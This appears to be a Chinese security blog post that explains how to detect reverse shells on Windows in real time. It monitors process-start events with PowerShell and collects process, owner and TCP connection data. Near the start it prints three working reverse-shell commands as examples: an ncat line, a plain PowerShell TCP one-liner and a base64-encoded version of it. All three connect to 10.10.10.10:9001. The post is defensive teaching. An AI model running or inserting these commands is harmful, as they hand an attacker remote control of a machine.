使用Powershell实时检测shell – 作者:buckxu

本文使用powershell来实现对webshell实时检测,并且使用ps2exe把powershell脚本变成exe,解决对环境的依赖

shell

先看一个简单的shell

ncat.exe 10.10.10.10 9001 -e powershell

它是向10.10.10.109001端口发起连接,并打开一个powershell来接收远程命令。

如果要检测这种shell,只要检测ncat.exe命令就行了。

如果是下面这样呢?

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

从执行命令就看不出来,但看从命令行参数还是可以判断的。

如果是下面这种呢?

powershell -e JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTAuMTAiLDkwMDEpOyRzdHJlYW0gPSAkY2xpZW50LkdldFN0cmVhbSgpO1tieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JSV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgp

这是什么鬼?按照上面就没办法搞了。

但无论是shell还是反弹shell,在底下都是创建一个进程,进程创建一个端口或者连接到一个远程机器。也就是说,如果检测shell的存在,那么需要抓取这些数据:

进程ID

进程名称

父进程ID

父进程名称

进程参数

本地地址和端口

远程地址和端口

连接类型(监听和建立连接)

除了这些,还得知道shell是什么权限下运行,那么还得需要

进程所在的域

进程所属的用户

windows机制

由于shell运行时间长短未知,可能shell直接远程连接外网机器下载一个很小的恶意程序,然后把恶意程序放在定时任务,然后退出,这个过程几秒就完成。

如果是通过遍历进程的方式扫描,太过频繁会影响用户使用,太过低频又会漏掉这种短时间运行的情况。那么就需要实时监控进程的方式。

从Windows Vista, Windows server 2008开始,Windows内核有种机制叫Kernel Trace Event Provider, 可以允许用户态程序查看进程创建、进程终止、线程创建、线程终止和模块加载的事件。详情请见https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/kernel-trace-provider

而Windows的通用信息模型机制又允许powershell注册来监听Kernel Trace Event Provider的事件。详情请见https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/register-cimindicationevent?view=powershell-7.1

那么,我们只需要监控进程创建事件即可。

根据Win32_ProcessStartTrace事件定义

[AMENDMENT]
class Win32_ProcessStartTrace : Win32_ProcessTrace
{
  uint8  SECURITY_DESCRIPTOR[];
  uint64 TIME_CREATED;
  uint32 ProcessID;
  uint32 ParentProcessID;
  uint8  Sid[];
  string ProcessName;
  uint32 SessionID;
};

可以获取这几个字段

  • TIME_CREATED:创建时间

  • ProcessID: 进程ID

  • ParentProcessID: 父进程ID

  • ProcessName:进程名称

实现

首先注册Kernel Trace Event Provider的监听

Register-CimIndicationEvent -ClassName 'Win32_ProcessStartTrace' -SourceIdentifier "ProcessStarted" 

接收事件

foreach ( $event in Get-Event ) {
 }

获取数据

$id = $event.SourceEventArgs.NewEvent.ProcessId
 $ppid = $event.SourceEventArgs.NewEvent.ParentProcessID
 $Name = $event.SourceEventArgs.NewEvent.ProcessName
 $TimeCreate = $event.SourceEventArgs.NewEvent.TIME_CREATED

获取相应进程信息(要处理短进程的情况)

$Proc = Get-CimInstance Win32_Process -Filter "ProcessId=$id"

获取该进程相应的连接信息

$Network = Get-NetTCPConnection|Where-Object OwningProcess -eq $id|Where-Object State -in 2,5

2是监听, 5是连接建立

获取进程的域和用户(要处理短进程的情况)

$Owner = Invoke-CimMethod -InputObject $Proc -MethodName GetOwner -ErrorAction SilentlyContinue

打包

由于程序是由powershell脚本写的,通过组策略下发到其它机器,可能会面临这些问题:

  1. powershell版本过低

  2. 某些库没有安装

这两种情况都会导致这个程序无法运行,那么需要把脚本变成exe文件,这时候可以使用ps2exe

来源:freebuf.com 2021-06-29 18:14:04 by: buckxu

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论